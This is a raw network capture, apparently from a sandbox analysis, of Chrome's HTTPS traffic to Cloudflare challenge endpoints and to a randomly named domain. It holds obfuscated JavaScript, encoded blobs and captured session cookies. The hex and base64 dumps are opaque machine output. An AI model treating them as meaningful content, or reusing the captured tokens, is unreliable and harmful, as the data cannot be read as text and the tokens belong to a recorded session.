2024-04-24 21:07:38 UTC	1369	IN	Data Raw: 68 51 5b 69 56 28 31 34 33 31 29 5d 28 78 29 5b 69 56 28 31 36 38 35 29 5d 28 27 2b 27 2c 69 56 28 31 37 32 33 29 29 2c 6e 5b 69 56 28 31 31 30 34 29 5d 28 6a 5b 69 56 28 31 33 33 39 29 5d 28 6a 5b 69 56 28 31 33 33 39 29 5d 28 27 76 5f 27 2c 66 45 5b 69 56 28 38 34 32 29 5d 5b 69 56 28 32 33 37 32 29 5d 29 2c 27 3d 27 29 2b 42 29 7d 63 61 74 63 68 28 43 29 7b 7d 7d 2c 66 45 5b 69 78 28 31 38 36 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 69 57 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 69 57 3d 69 78 2c 69 3d 7b 7d 2c 69 5b 69 57 28 32 38 36 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 21 3d 3d 6e 7d 2c 69 5b 69 57 28 32 39 35 36 29 5d 3d 69 57 28 32 39 34 35 29 2c 69 5b 69 57 28 32 39 35 32 29 5d 3d Data Ascii: hQ[iV(1431)](x)[iV(1685)]('+',iV(1723)),n[iV(1104)](j[iV(1339)](j[iV(1339)]('v_',fE[iV(842)][iV(2372)]),'=')+B)}catch(C){}},fE[ix(1864)]=function(d,e,f,g,h,iW,i,j,k,l,m){(iW=ix,i={},i[iW(2869)]=function(n,o){return o!==n},i[iW(2956)]=iW(2945),i[iW(2952)]=
2024-04-24 21:07:38 UTC	1369	IN	Data Raw: 33 29 5d 3d 69 78 28 32 39 32 37 29 2c 66 57 5b 69 78 28 32 39 33 35 29 5d 3d 69 78 28 31 33 35 35 29 2c 66 57 5b 69 78 28 37 34 30 29 5d 3d 69 78 28 38 34 35 29 2c 66 57 5b 69 78 28 31 37 30 30 29 5d 3d 69 78 28 31 37 33 30 29 2c 66 57 5b 69 78 28 31 38 32 36 29 5d 3d 69 78 28 32 32 30 39 29 2c 66 57 5b 69 78 28 31 30 37 37 29 5d 3d 69 78 28 39 31 32 29 2c 66 57 5b 69 78 28 31 38 38 33 29 5d 3d 69 78 28 32 30 34 33 29 2c 66 57 5b 69 78 28 32 33 39 34 29 5d 3d 69 78 28 31 34 38 31 29 2c 66 57 5b 69 78 28 31 34 33 37 29 5d 3d 69 78 28 32 37 34 36 29 2c 66 57 5b 69 78 28 31 35 30 33 29 5d 3d 69 78 28 32 39 35 33 29 2c 66 57 5b 69 78 28 31 31 31 39 29 5d 3d 69 78 28 31 35 30 38 29 2c 66 57 5b 69 78 28 32 33 34 38 29 5d 3d 69 78 28 31 33 32 37 29 2c 66 57 5b Data Ascii: 3)]=ix(2927),fW[ix(2935)]=ix(1355),fW[ix(740)]=ix(845),fW[ix(1700)]=ix(1730),fW[ix(1826)]=ix(2209),fW[ix(1077)]=ix(912),fW[ix(1883)]=ix(2043),fW[ix(2394)]=ix(1481),fW[ix(1437)]=ix(2746),fW[ix(1503)]=ix(2953),fW[ix(1119)]=ix(1508),fW[ix(2348)]=ix(1327),fW[
2024-04-24 21:07:38 UTC	652	IN	Data Raw: 5b 69 78 28 31 39 38 38 29 5d 3d 69 78 28 31 33 37 31 29 2c 66 59 5b 69 78 28 32 36 37 38 29 5d 3d 69 78 28 31 34 35 32 29 2c 66 59 5b 69 78 28 33 30 39 34 29 5d 3d 69 78 28 31 39 35 34 29 2c 66 59 5b 69 78 28 31 39 37 37 29 5d 3d 69 78 28 31 39 34 36 29 2c 66 59 5b 69 78 28 31 37 39 33 29 5d 3d 69 78 28 33 32 30 35 29 2c 66 59 5b 69 78 28 36 35 37 29 5d 3d 69 78 28 36 34 33 29 2c 66 59 5b 69 78 28 31 35 34 34 29 5d 3d 69 78 28 39 36 30 29 2c 66 59 5b 69 78 28 34 39 33 29 5d 3d 69 78 28 33 32 32 39 29 2c 66 59 5b 69 78 28 32 39 31 35 29 5d 3d 69 78 28 33 31 36 30 29 2c 66 59 5b 69 78 28 33 32 34 35 29 5d 3d 69 78 28 32 35 33 30 29 2c 66 59 5b 69 78 28 33 30 33 34 29 5d 3d 69 78 28 31 32 32 37 29 2c 66 59 5b 69 78 28 38 35 39 29 5d 3d 69 78 28 32 39 30 39 Data Ascii: [ix(1988)]=ix(1371),fY[ix(2678)]=ix(1452),fY[ix(3094)]=ix(1954),fY[ix(1977)]=ix(1946),fY[ix(1793)]=ix(3205),fY[ix(657)]=ix(643),fY[ix(1544)]=ix(960),fY[ix(493)]=ix(3229),fY[ix(2915)]=ix(3160),fY[ix(3245)]=ix(2530),fY[ix(3034)]=ix(1227),fY[ix(859)]=ix(2909
2024-04-24 21:07:38 UTC	1369	IN	Data Raw: 31 38 61 34 0d 0a 59 5b 69 78 28 31 30 36 36 29 5d 3d 69 78 28 31 36 39 35 29 2c 66 59 5b 69 78 28 32 36 34 32 29 5d 3d 69 78 28 35 30 37 29 2c 66 59 5b 69 78 28 31 33 35 32 29 5d 3d 69 78 28 31 35 37 34 29 2c 66 59 5b 69 78 28 36 30 38 29 5d 3d 69 78 28 32 35 35 39 29 2c 66 59 5b 69 78 28 32 39 30 33 29 5d 3d 69 78 28 32 33 31 35 29 2c 66 59 5b 69 78 28 32 31 37 33 29 5d 3d 69 78 28 31 39 34 37 29 2c 66 5a 3d 7b 7d 2c 66 5a 5b 69 78 28 31 35 36 32 29 5d 3d 69 78 28 31 32 37 33 29 2c 66 5a 5b 69 78 28 31 32 34 30 29 5d 3d 69 78 28 38 31 36 29 2c 66 5a 5b 69 78 28 31 33 32 30 29 5d 3d 69 78 28 31 35 37 30 29 2c 66 5a 5b 69 78 28 31 39 38 38 29 5d 3d 69 78 28 31 32 39 35 29 2c 66 5a 5b 69 78 28 32 36 37 38 29 5d 3d 69 78 28 31 37 35 36 29 2c 66 5a 5b 69 78 Data Ascii: 18a4Y[ix(1066)]=ix(1695),fY[ix(2642)]=ix(507),fY[ix(1352)]=ix(1574),fY[ix(608)]=ix(2559),fY[ix(2903)]=ix(2315),fY[ix(2173)]=ix(1947),fZ={},fZ[ix(1562)]=ix(1273),fZ[ix(1240)]=ix(816),fZ[ix(1320)]=ix(1570),fZ[ix(1988)]=ix(1295),fZ[ix(2678)]=ix(1756),fZ[ix
2024-04-24 21:07:38 UTC	1369	IN	Data Raw: 78 28 38 30 37 29 5d 3d 69 78 28 39 30 38 29 2c 67 30 5b 69 78 28 32 34 37 33 29 5d 3d 69 78 28 33 31 39 34 29 2c 67 30 5b 69 78 28 32 39 33 35 29 5d 3d 69 78 28 32 36 32 39 29 2c 67 30 5b 69 78 28 37 34 30 29 5d 3d 69 78 28 36 36 31 29 2c 67 30 5b 69 78 28 31 37 30 30 29 5d 3d 69 78 28 33 31 32 38 29 2c 67 30 5b 69 78 28 31 38 32 36 29 5d 3d 69 78 28 32 31 37 30 29 2c 67 30 5b 69 78 28 31 30 37 37 29 5d 3d 69 78 28 32 39 37 35 29 2c 67 30 5b 69 78 28 31 38 38 33 29 5d 3d 69 78 28 32 30 36 34 29 2c 67 30 5b 69 78 28 32 33 39 34 29 5d 3d 69 78 28 32 38 34 33 29 2c 67 30 5b 69 78 28 31 34 33 37 29 5d 3d 69 78 28 35 33 33 29 2c 67 30 5b 69 78 28 31 35 30 33 29 5d 3d 69 78 28 33 33 32 30 29 2c 67 30 5b 69 78 28 31 31 31 39 29 5d 3d 69 78 28 33 30 35 31 29 2c Data Ascii: x(807)]=ix(908),g0[ix(2473)]=ix(3194),g0[ix(2935)]=ix(2629),g0[ix(740)]=ix(661),g0[ix(1700)]=ix(3128),g0[ix(1826)]=ix(2170),g0[ix(1077)]=ix(2975),g0[ix(1883)]=ix(2064),g0[ix(2394)]=ix(2843),g0[ix(1437)]=ix(533),g0[ix(1503)]=ix(3320),g0[ix(1119)]=ix(3051),
2024-04-24 21:07:38 UTC	1369	IN	Data Raw: 29 2c 67 32 5b 69 78 28 31 33 32 30 29 5d 3d 69 78 28 33 30 36 33 29 2c 67 32 5b 69 78 28 31 39 38 38 29 5d 3d 69 78 28 32 35 32 39 29 2c 67 32 5b 69 78 28 32 36 37 38 29 5d 3d 69 78 28 35 38 35 29 2c 67 32 5b 69 78 28 33 30 39 34 29 5d 3d 69 78 28 36 33 37 29 2c 67 32 5b 69 78 28 31 39 37 37 29 5d 3d 69 78 28 32 36 30 33 29 2c 67 32 5b 69 78 28 31 37 39 33 29 5d 3d 69 78 28 31 39 32 36 29 2c 67 32 5b 69 78 28 36 35 37 29 5d 3d 69 78 28 35 32 30 29 2c 67 32 5b 69 78 28 31 35 34 34 29 5d 3d 69 78 28 32 39 39 30 29 2c 67 32 5b 69 78 28 34 39 33 29 5d 3d 69 78 28 32 39 37 34 29 2c 67 32 5b 69 78 28 32 39 31 35 29 5d 3d 69 78 28 39 32 39 29 2c 67 32 5b 69 78 28 33 32 34 35 29 5d 3d 69 78 28 31 32 33 33 29 2c 67 32 5b 69 78 28 33 30 33 34 29 5d 3d 69 78 28 39 Data Ascii: ),g2[ix(1320)]=ix(3063),g2[ix(1988)]=ix(2529),g2[ix(2678)]=ix(585),g2[ix(3094)]=ix(637),g2[ix(1977)]=ix(2603),g2[ix(1793)]=ix(1926),g2[ix(657)]=ix(520),g2[ix(1544)]=ix(2990),g2[ix(493)]=ix(2974),g2[ix(2915)]=ix(929),g2[ix(3245)]=ix(1233),g2[ix(3034)]=ix(9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49726	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:38 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:38 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:38 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8799106499140acf-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49727	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:38 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:39 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:39 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 87991069c81709f3-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:39 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49728	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:39 UTC	1323	OUT	GET /favicon.ico HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/3lwz8fh/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImR0cTB3V0VubU9PdVF3cW1PejE0VVE9PSIsInZhbHVlIjoiQ01kcFZyaU9XYURQUkpDcFoxZTdMN00wZFVYREJVYzFSN1pEM28xOVBsY1VUS0R3RHZ2ZFp6Umt4ajlvN2xubkNJQ3p3T3M5ZWpMYmdGVS91VUxGbEthNW9WYTdnWUxlbzArQ2l6bloxU1RlYU8xaitZT0JldVpCeXB1Q3hEclMiLCJtYWMiOiIyYjAxMTYxZDQ0YTJkNjMzY2NmODNmNDBhYjkwMTM3MGRjNDZiNzkyMWY3N2ExMTM3NmI2OTg5NDQ2Yzk1MjY5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhmZU5mZmpLdlIxTVF6blZCWGZJUlE9PSIsInZhbHVlIjoiRTB0ZmJ3V2hLR2lRNHBYd3FWY2xLNWtma0xZcWVaOEFlWnp1VktwdnBYYWlBNkpaWC9zay9uMUMxckMxVWZIWkFUQnBZNmhyL29jVjBvb0FtQjZPTkw1YUcrMGxRU3J1VlIrQmY4VEgvQklHSzEzV2J5a0JxMno4UVNhaDJucDkiLCJtYWMiOiI4NzMyMGEyODMxMGM2OTIzMTM3ZTdhNWZlZWUzMDM5NzY5NzA4YjEyNjYyY2E4ZjI1NjYxZDI5Njc4NmY3YjNlIiwidGFnIjoiIn0%3D
2024-04-24 21:07:39 UTC	636	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 21:07:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rsIKS%2BDlWE28DDWchbiKycV2qNHmjcgxpemQdnSxMuoAMZ1rnUQsQJGMdZ75mqSxaQl2qcAGyLFB1y114CorgepeUfg8hVFAEH9vVY2q7qK3NGSLyiSzTIMbpFLvgg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 10879 Server: cloudflare CF-RAY: 8799106b9cab7d4e-LAX
2024-04-24 21:07:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49729	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:39 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2678 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 0156a4786a5aa7e sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:39 UTC	2678	OUT	Data Raw: 76 5f 38 37 39 39 31 30 35 66 35 61 35 65 30 39 66 37 3d 2d 44 4e 64 7a 64 46 64 31 64 6d 64 76 4b 33 6a 4b 33 55 64 4b 34 43 61 76 56 4b 63 33 76 33 78 42 34 41 48 73 33 45 35 33 4e 73 63 5a 39 57 33 63 73 76 37 39 63 50 35 33 72 64 4b 61 39 47 33 54 64 73 70 33 7a 41 33 63 48 33 34 69 6b 36 54 42 4e 2d 33 43 37 33 54 64 76 48 4c 24 55 33 33 61 46 33 46 73 64 39 41 41 43 39 73 39 25 32 62 50 50 69 39 46 33 44 64 4b 48 33 45 77 54 71 4e 6c 33 2b 64 39 48 32 68 55 4c 53 48 44 6d 4b 24 79 59 64 33 41 79 31 78 50 55 2b 6b 50 32 66 32 38 32 5a 32 6d 33 74 33 39 32 4b 72 47 4e 33 32 75 71 4e 6b 2d 70 44 33 50 50 75 6e 64 33 75 56 70 75 64 61 33 4b 6e 36 43 64 33 35 64 39 46 32 75 64 41 78 64 39 6e 68 50 34 33 5a 24 70 33 47 31 24 50 6f 4e 63 69 30 33 31 39 33 Data Ascii: v_8799105f5a5e09f7=-DNdzdFd1dmdvK3jK3UdK4CavVKc3v3xB4AHs3E53NscZ9W3csv79cP53rdKa9G3Tdsp3zA3cH34ik6TBN-3C73TdvHL$U33aF3Fsd9AAC9s9%2bPPi9F3DdKH3EwTqNl3+d9H2hULSHDmK$yYd3Ay1xPU+kP2f282Z2m3t392KrGN32uqNk-pD3PPund3uVpuda3Kn6Cd35d9F2udAxd9nhP43Z$p3G1$PoNci03193
2024-04-24 21:07:39 UTC	714	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:39 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: Hhymw/QKtkUJ1c6mX5kRJeIWiC4ZIsOkUbS4d9bm0trYyn9M3sZcz1bqPuawx2LPYNwj1KsXlXbf0+45Aky9+suriQ3yZny6/VYRhzyaWazHRduOqHW1em4qJ3TjaMKNi/QXxtLaZsArydE+H14fvZPl8z74pquGLBDSbbToyzsiVLNZQOby8aDjL2Rqag5kmshHjN/HwtLgtGozBEW2wQUVo2kbdjJ0KMm37DmirlLhFQuGgFIIttwxKZC+bIwTbUuqjSMfaijddgYKFUzHDlnRvmHYYhUl+4/P533gQi2Dl8Q5LtmlfkBqHjaShxpgscVb6eBEmoWrJ467yceJ3etYTYlCo3KtmkisxHxYbuG6CotmsPu/zIncoGJrygSqwCbU6gTO1uRQywmkXQdU3/E1SoHjAX3oz+QQBUcpIoI=$WHO4hGCR0OLy+xKGhUVTmg== vary: accept-encoding Server: cloudflare CF-RAY: 8799106aea610ad1-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:39 UTC	616	IN	Data Raw: 32 36 31 0d 0a 77 4a 5a 2f 79 36 4b 61 6d 73 43 76 78 63 54 4a 31 4c 47 64 77 64 62 44 31 73 53 54 31 35 65 72 33 39 50 4f 73 39 4b 75 34 2b 50 41 77 37 71 37 33 37 6e 44 79 37 6e 69 33 62 72 6b 36 74 33 46 36 38 58 78 30 72 65 32 72 2f 33 4c 41 4f 76 5a 77 63 48 44 2b 65 50 63 34 39 72 6b 36 41 48 65 37 4f 77 46 35 4f 76 4d 30 42 55 50 39 76 62 36 37 4f 62 71 2f 76 44 71 34 42 77 43 37 68 54 67 2b 79 72 70 35 65 6b 64 42 50 6b 5a 4a 52 4d 71 48 65 34 6c 37 53 67 6f 4e 52 6b 76 44 51 63 77 4c 52 45 50 46 7a 49 6b 50 7a 30 61 50 53 4e 45 4f 52 73 6a 53 6a 67 4c 44 6b 5a 41 49 78 51 4e 45 68 6b 59 4c 46 4a 4c 48 43 30 39 58 78 51 37 57 31 67 59 59 31 6f 67 52 54 31 63 4a 43 34 37 53 53 68 70 52 45 31 41 64 54 39 51 56 6e 56 54 54 31 41 32 63 54 4a 78 54 57 Data Ascii: 261wJZ/y6KamsCvxcTJ1LGdwdbD1sST15er39POs9Ku4+PAw7q737nDy7ni3brk6t3F68Xx0re2r/3LAOvZwcHD+ePc49rk6AHe7OwF5OvM0BUP9vb67Obq/vDq4BwC7hTg+yrp5ekdBPkZJRMqHe4l7SgoNRkvDQcwLREPFzIkPz0aPSNEORsjSjgLDkZAIxQNEhkYLFJLHC09XxQ7W1gYY1ogRT1cJC47SShpRE1AdT9QVnVTT1A2cTJxTW
2024-04-24 21:07:39 UTC	1369	IN	Data Raw: 31 31 37 39 0d 0a 47 70 7a 61 32 52 65 59 6c 4e 52 64 6f 5a 36 62 49 6d 57 6a 47 71 63 69 36 42 34 58 49 39 69 70 32 47 4c 65 36 78 74 73 48 31 70 71 71 43 48 73 34 71 46 71 33 43 50 76 4c 57 78 69 4b 2b 34 66 35 71 74 6b 72 4f 6c 6d 72 47 36 76 36 53 61 69 4b 32 36 7a 4d 54 50 71 70 2f 43 7a 4a 44 5a 74 4c 6e 53 70 39 4f 70 75 73 79 71 30 4d 36 69 6f 72 72 6a 30 4f 66 62 77 71 65 6d 70 64 71 37 72 36 76 55 33 4b 37 69 35 75 50 54 39 64 58 77 30 65 79 2f 41 72 71 2f 41 2b 4c 6d 30 39 62 6c 35 4d 66 66 43 4f 48 4a 34 75 66 76 37 67 44 6a 79 77 51 5a 34 74 59 44 47 39 7a 63 49 42 38 69 41 77 4c 66 49 78 30 48 4a 67 62 32 41 65 50 71 2f 41 6e 35 41 41 6f 64 4e 53 77 76 45 41 4c 76 2b 42 51 38 38 76 4d 66 43 44 45 69 4c 30 55 61 45 53 59 52 4e 54 77 6d 54 43 Data Ascii: 1179Gpza2ReYlNRdoZ6bImWjGqci6B4XI9ip2GLe6xtsH1pqqCHs4qFq3CPvLWxiK+4f5qtkrOlmrG6v6SaiK26zMTPqp/CzJDZtLnSp9Opusyq0M6iorrj0Ofbwqempdq7r6vU3K7i5uPT9dXw0ey/Arq/A+Lm09bl5MffCOHJ4ufv7gDjywQZ4tYDG9zcIB8iAwLfIx0HJgb2AePq/An5AAodNSwvEALv+BQ88vMfCDEiL0UaESYRNTwmTC
2024-04-24 21:07:39 UTC	1369	IN	Data Raw: 54 49 71 43 6a 34 32 51 62 33 79 64 64 6d 74 6e 56 6e 42 30 58 56 71 57 6e 57 2b 68 6b 36 4b 70 66 4b 36 68 65 47 6d 46 72 72 53 48 67 4b 57 42 74 6f 71 51 6d 72 43 61 66 4c 32 71 6a 71 32 4f 74 35 4b 55 68 61 47 58 77 38 50 4d 6a 62 32 48 6e 38 79 68 6b 74 58 53 76 36 33 43 78 72 47 6d 32 61 37 4b 76 37 37 4c 32 73 76 53 32 2b 61 36 33 62 2f 54 7a 4b 61 2b 37 37 76 65 79 62 32 71 73 4d 6e 52 38 65 66 4a 7a 2b 2f 38 33 62 66 4f 79 2b 7a 64 75 65 7a 39 2b 2b 48 6e 31 2b 59 4a 34 63 76 45 78 77 77 46 41 68 4c 66 45 78 48 32 41 76 63 4b 7a 65 62 6f 45 65 67 56 44 67 45 63 39 77 55 47 4a 78 58 67 2f 75 51 4f 2b 4f 6e 36 42 75 7a 6f 4a 53 67 43 4a 51 38 55 43 43 6f 61 48 6a 34 49 47 42 51 4d 51 68 77 57 45 55 55 44 4a 68 59 35 4f 69 51 61 50 6b 45 76 49 42 77 Data Ascii: TIqCj42Qb3yddmtnVnB0XVqWnW+hk6KpfK6heGmFrrSHgKWBtoqQmrCafL2qjq2Ot5KUhaGXw8PMjb2Hn8yhktXSv63CxrGm2a7Kv77L2svS2+a63b/TzKa+77veyb2qsMnR8efJz+/83bfOy+zduez9++Hn1+YJ4cvExwwFAhLfExH2AvcKzeboEegVDgEc9wUGJxXg/uQO+On6BuzoJSgCJQ8UCCoaHj4IGBQMQhwWEUUDJhY5OiQaPkEvIBw
2024-04-24 21:07:39 UTC	1369	IN	Data Raw: 6d 39 5a 57 49 71 4b 57 70 64 36 59 4a 4b 63 68 70 78 33 65 4b 6d 56 62 47 65 47 6e 72 43 4a 6d 6f 75 71 63 72 43 6a 74 62 57 6a 72 37 57 32 70 6e 57 2b 66 72 57 64 74 4a 72 47 6d 49 69 7a 6f 59 62 41 79 61 6d 71 70 61 57 72 6a 38 75 52 73 4e 4f 79 7a 4c 72 56 6e 4b 37 64 30 73 2b 68 75 4b 43 57 35 63 4c 52 31 4e 65 38 33 73 54 6d 76 73 61 70 33 65 76 64 30 4c 54 6a 34 4c 6a 76 38 2b 76 4b 7a 39 47 34 38 73 47 39 2b 64 44 6b 41 64 33 34 35 38 66 33 33 4e 76 4b 2f 4f 7a 52 41 67 72 31 33 64 38 47 41 68 76 61 2b 42 59 66 31 68 66 71 46 50 6e 34 35 42 30 59 49 64 34 5a 4b 43 4d 4b 42 41 49 4a 4d 41 34 7a 44 43 63 4d 45 52 48 78 45 42 59 55 2b 78 4a 41 48 44 45 72 45 69 52 42 48 45 41 6c 42 69 6b 6e 4a 53 30 73 4b 7a 73 38 4d 43 64 51 50 79 68 50 4c 55 67 75 Data Ascii: m9ZWIqKWpd6YJKchpx3eKmVbGeGnrCJmouqcrCjtbWjr7W2pnW+frWdtJrGmIizoYbAyamqpaWrj8uRsNOyzLrVnK7d0s+huKCW5cLR1Ne83sTmvsap3evd0LTj4Ljv8+vKz9G48sG9+dDkAd3458f33NvK/OzRAgr13d8GAhva+BYf1hfqFPn45B0YId4ZKCMKBAIJMA4zDCcMERHxEBYU+xJAHDErEiRBHEAlBiknJS0sKzs8MCdQPyhPLUgu
2024-04-24 21:07:39 UTC	374	IN	Data Raw: 71 68 6d 34 43 6d 58 6e 79 6c 64 34 6d 47 6a 47 70 6e 6a 57 39 2b 6e 36 5a 75 6e 62 47 67 75 4b 61 75 69 58 61 39 6d 70 65 72 76 4a 65 6b 70 4a 36 31 6c 59 4b 66 6f 61 58 4c 78 62 69 4e 6f 4d 32 38 70 73 54 43 73 63 69 6a 73 4c 4f 74 79 4b 6d 37 73 4e 2f 51 77 62 57 75 78 62 54 66 75 39 6e 6b 35 73 69 38 33 72 2b 6e 37 4f 54 73 34 4e 37 32 35 65 6a 33 37 74 79 34 30 50 62 51 76 64 33 35 76 74 37 51 33 2f 4d 4b 42 76 76 6b 34 74 6a 65 31 77 55 4f 43 64 49 46 2f 67 6f 54 30 75 38 4a 7a 51 2f 62 47 68 30 67 48 68 6e 69 47 74 7a 31 42 65 45 5a 39 67 6b 74 44 79 76 38 2b 76 72 79 45 77 34 31 37 44 67 73 4f 4f 77 6f 4c 43 6e 32 44 68 34 4f 41 52 77 36 4e 79 67 57 4e 7a 30 4c 42 2f 34 64 4f 69 4e 49 51 6b 34 7a 48 54 45 68 53 41 73 58 47 53 67 38 54 68 46 5a 4b Data Ascii: qhm4CmXnyld4mGjGpnjW9+n6ZunbGguKauiXa9mpervJekpJ61lYKfoaXLxbiNoM28psTCscijsLOtyKm7sN/QwbWuxbTfu9nk5si83r+n7OTs4N725ej37ty40PbQvd35vt7Q3/MKBvvk4tje1wUOCdIF/goT0u8JzQ/bGh0gHhniGtz1BeEZ9gktDyv8+vryEw417DgsOOwoLCn2Dh4OARw6NygWNz0LB/4dOiNIQk4zHTEhSAsXGSg8ThFZK
2024-04-24 21:07:39 UTC	1361	IN	Data Raw: 35 34 61 0d 0a 47 49 70 62 69 6f 76 6e 57 4b 75 4c 76 42 77 5a 70 2f 66 59 47 46 76 38 79 37 6a 61 43 4b 79 71 65 4f 72 70 2b 70 76 34 2f 42 78 63 79 6f 30 37 36 34 72 4b 43 39 77 4b 36 61 6e 4e 61 6b 32 72 6e 43 35 4b 72 44 77 73 72 6b 38 76 4f 72 34 39 33 6e 74 63 43 72 75 65 50 73 74 50 72 6f 30 64 71 37 2b 51 48 4f 43 4e 76 64 36 4f 6f 44 33 74 58 65 32 76 77 48 7a 41 63 42 41 66 49 54 47 66 50 35 2b 4e 7a 76 2f 66 77 4a 49 39 38 6c 46 79 66 75 4a 67 6f 64 41 2f 59 42 48 68 77 4f 4b 75 33 36 42 43 67 42 43 52 6a 33 46 53 6b 73 2b 43 38 54 4e 7a 51 64 47 7a 67 7a 4e 7a 45 37 51 55 56 47 48 7a 6f 62 4c 52 34 52 45 45 38 6c 54 7a 35 58 4b 53 55 70 57 44 49 37 4b 54 41 5a 4c 78 77 